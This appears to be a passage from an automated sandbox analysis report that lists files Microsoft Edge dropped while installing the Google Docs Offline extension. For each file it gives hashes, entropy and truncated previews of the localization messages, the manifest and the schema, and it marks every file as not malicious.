SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
